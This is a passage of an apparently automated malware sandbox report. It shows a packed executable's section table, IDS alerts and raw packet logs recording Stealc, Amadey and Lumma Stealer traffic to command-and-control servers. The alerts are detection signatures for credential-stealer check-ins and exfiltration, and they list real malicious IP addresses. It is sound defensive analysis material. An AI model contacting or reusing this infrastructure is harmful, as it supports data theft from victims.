.rsrc	0x24a000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2ab000	0x200	93e5c594cda4786776c84c741f8cc351	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
sgoicwpi	0x4f7000	0x1a1000	0x1a0800	3fdef08d77fe52899753ac9bc32b2f21	False	0.9949636104441777	data	7.953611979868931	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ulryzzya	0x698000	0x1000	0x400	a55e23937e1754cc7b8227c99f7d8f4c	False	0.8408203125	data	6.430564571869738	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x699000	0x3000	0x2200	11eac8c42a4d02cea6193ab965f5bc22	False	0.062270220588235295	DOS executable (COM)	0.7833176235003566	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-12T21:21:19.480474+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49735	185.215.113.206	80	TCP
2024-11-12T21:21:19.765296+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49735	185.215.113.206	80	TCP
2024-11-12T21:21:19.771888+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49735	TCP
2024-11-12T21:21:20.049736+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49735	185.215.113.206	80	TCP
2024-11-12T21:21:20.056843+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49735	TCP
2024-11-12T21:21:21.156049+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49735	185.215.113.206	80	TCP
2024-11-12T21:21:21.901003+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49735	185.215.113.206	80	TCP
2024-11-12T21:21:30.989312+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.4	49756	TCP
2024-11-12T21:21:35.335164+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49759	185.215.113.206	80	TCP
2024-11-12T21:21:36.535894+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49759	185.215.113.206	80	TCP
2024-11-12T21:21:36.974346+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49759	185.215.113.206	80	TCP
2024-11-12T21:21:37.374081+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49759	185.215.113.206	80	TCP
2024-11-12T21:21:38.041683+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49759	185.215.113.206	80	TCP
2024-11-12T21:21:39.677552+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49759	185.215.113.206	80	TCP
2024-11-12T21:21:44.566874+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49762	185.215.113.16	80	TCP
2024-11-12T21:22:04.843247+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49781	185.215.113.43	80	TCP
2024-11-12T21:22:08.188494+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49798	185.215.113.16	80	TCP
2024-11-12T21:22:09.495815+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.4	49799	TCP
2024-11-12T21:22:11.784291+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49794	TCP
2024-11-12T21:22:11.937376+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49806	172.67.150.243	443	TCP
2024-11-12T21:22:12.704632+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49807	185.215.113.43	80	TCP
2024-11-12T21:22:12.760086+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49806	172.67.150.243	443	TCP
2024-11-12T21:22:12.760086+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49806	172.67.150.243	443	TCP
2024-11-12T21:22:13.418838+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49809	172.67.150.243	443	TCP
2024-11-12T21:22:13.626113+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49808	185.215.113.16	80	TCP
2024-11-12T21:22:13.912609+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49809	172.67.150.243	443	TCP
2024-11-12T21:22:13.912609+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49809	172.67.150.243	443	TCP
2024-11-12T21:22:14.861995+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49810	172.67.150.243	443	TCP
2024-11-12T21:22:16.247869+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49811	172.67.150.243	443	TCP
2024-11-12T21:22:18.078806+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49812	185.215.113.43	80	TCP
2024-11-12T21:22:18.673272+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49813	172.67.150.243	443	TCP
2024-11-12T21:22:20.217208+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49815	185.215.113.206	80	TCP
2024-11-12T21:22:21.121134+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49816	172.67.150.243	443	TCP
2024-11-12T21:22:21.637826+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49816	172.67.150.243	443	TCP
2024-11-12T21:22:21.912830+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49817	185.215.113.43	80	TCP
2024-11-12T21:22:22.824665+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49819	172.67.150.243	443	TCP
2024-11-12T21:22:22.825033+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49818	185.215.113.16	80	TCP
2024-11-12T21:22:22.943588+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49819	172.67.150.243	443	TCP
2024-11-12T21:22:25.802552+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49820	172.67.150.243	443	TCP
2024-11-12T21:22:26.280505+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49820	172.67.150.243	443	TCP
2024-11-12T21:22:26.280505+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49820	172.67.150.243	443	TCP
2024-11-12T21:22:27.003808+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49822	172.67.150.243	443	TCP
2024-11-12T21:22:27.154833+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49821	185.215.113.43	80	TCP
2024-11-12T21:22:27.477727+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49822	172.67.150.243	443	TCP
2024-11-12T21:22:27.477727+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49822	172.67.150.243	443	TCP
2024-11-12T21:22:28.329757+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49823	172.67.150.243	443	TCP
2024-11-12T21:22:28.505873+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49824	172.67.150.243	443	TCP
2024-11-12T21:22:28.653096+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49823	172.67.150.243	443	TCP
2024-11-12T21:22:29.559714+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49825	185.215.113.16	80	TCP
2024-11-12T21:22:30.383345+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49827	172.67.150.243	443	TCP
2024-11-12T21:22:32.193386+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49829	172.67.150.243	443	TCP
2024-11-12T21:22:36.114392+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49831	172.67.150.243	443	TCP
2024-11-12T21:22:38.403444+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49833	185.215.113.206	80	TCP
2024-11-12T21:22:38.776914+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49834	172.67.150.243	443	TCP
2024-11-12T21:22:38.838010+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49834	172.67.150.243	443	TCP
2024-11-12T21:22:41.667885+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49836	172.67.150.243	443	TCP
2024-11-12T21:22:42.205811+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49836	172.67.150.243	443	TCP
2024-11-12T21:22:43.126051+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49838	185.215.113.16	80	TCP
2024-11-12T21:22:50.842554+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49842	172.67.150.243	443	TCP
2024-11-12T21:22:52.295654+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49842	172.67.150.243	443	TCP
2024-11-12T21:22:52.295654+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49842	172.67.150.243	443	TCP
2024-11-12T21:22:53.146011+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49844	172.67.150.243	443	TCP
2024-11-12T21:22:54.082292+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49844	172.67.150.243	443	TCP
2024-11-12T21:22:54.082292+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49844	172.67.150.243	443	TCP
2024-11-12T21:22:55.049130+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49845	172.67.150.243	443	TCP
2024-11-12T21:22:56.781036+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49847	172.67.150.243	443	TCP
2024-11-12T21:22:57.603925+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49847	172.67.150.243	443	TCP
2024-11-12T21:22:58.777976+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49849	172.67.150.243	443	TCP
2024-11-12T21:23:01.804816+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49851	185.215.113.206	80	TCP
2024-11-12T21:23:03.062575+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49852	172.67.150.243	443	TCP
2024-11-12T21:23:05.111812+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49854	172.67.150.243	443	TCP
2024-11-12T21:23:05.139437+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49854	172.67.150.243	443	TCP
2024-11-12T21:23:08.419803+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49856	172.67.150.243	443	TCP
2024-11-12T21:23:10.256800+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49856	172.67.150.243	443	TCP
2024-11-12T21:23:11.184150+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49858	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 21:21:13.060472012 CET	49675	443	192.168.2.4	173.222.162.32
Nov 12, 2024 21:21:18.273884058 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:18.279042006 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:18.279148102 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:18.279275894 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:18.285363913 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:19.183103085 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:19.183269024 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:19.186359882 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:19.191179037 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:19.480309963 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:19.480473995 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:19.481977940 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:19.486988068 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:19.765198946 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:19.765254021 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:19.765295982 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:19.765340090 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:19.766947031 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:19.771888018 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:20.049642086 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:20.049686909 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:20.049726009 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:20.049736023 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:20.049747944 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:20.049758911 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:20.049767017 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:20.049783945 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:20.049810886 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:20.049834013 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:20.049854994 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:20.050539017 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:20.050592899 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:20.050623894 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:20.050664902 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:20.052015066 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:20.056843042 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:20.333992958 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:20.334105968 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:20.357162952 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:20.357206106 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:20.362109900 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:20.362124920 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:20.362134933 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:20.362152100 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:20.362159967 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:20.362530947 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:20.362540007 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:20.362550020 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:21.155971050 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:21.156049013 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:21.604341030 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:21.610183001 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:21.900918007 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:21.900930882 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:21.900964975 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:21.901002884 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:21.901025057 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:21.901026964 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:21.901038885 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:21.901051044 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:21.901062012 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:21.901077986 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:21.901093006 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:21.901878119 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:21.901927948 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:21.902085066 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:21.902096987 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:21.902107954 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:21.902120113 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:21.902134895 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:21.902177095 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:21.902826071 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:21.902873039 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:21.902894020 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:21.902930021 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.060117006 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.060153008 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.060165882 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.060184002 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.060190916 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.060200930 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.060230970 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.060230970 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.060241938 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.060586929 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.060599089 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.060610056 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.060626030 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.060642958 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.061033964 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.061047077 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.061058044 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.061073065 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.061100960 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.061127901 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.061140060 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.061163902 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.061187029 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.061984062 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.062025070 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.062036037 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.062043905 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.062063932 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.062069893 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.062082052 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.062098026 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.062117100 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.062135935 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.062962055 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.063007116 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.063008070 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.063018084 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.063040972 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.063062906 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.063081980 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.063093901 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.063127041 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.063143969 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.063864946 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.063874006 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.063901901 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.063922882 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.219198942 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.219211102 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.219222069 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.219233990 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.219244957 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.219257116 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.219317913 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.219372034 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.219449043 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.219485044 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.219504118 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.219513893 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.219552994 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.220223904 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.220273972 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.220313072 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.220324039 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.220335007 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.220346928 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.220357895 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.220364094 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.220377922 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.220381021 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.220392942 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.220402956 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.220408916 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.220415115 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.220424891 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.220441103 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.220468998 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.220910072 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.220921993 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.220932961 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.220943928 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.220956087 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.220963001 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.220968962 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.220992088 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.221010923 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.221524954 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.221535921 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.221545935 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.221563101 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.221571922 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.221580029 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.221590042 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.221591949 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.221604109 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.221616030 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.221620083 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.221638918 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.221661091 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.222388983 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.222433090 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.222435951 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.222444057 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.222470045 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.222489119 CET	49735	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:22.222489119 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.222501040 CET	80	49735	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:22.222511053 CET	80	49735	185.215.113.206	192.168.2.4
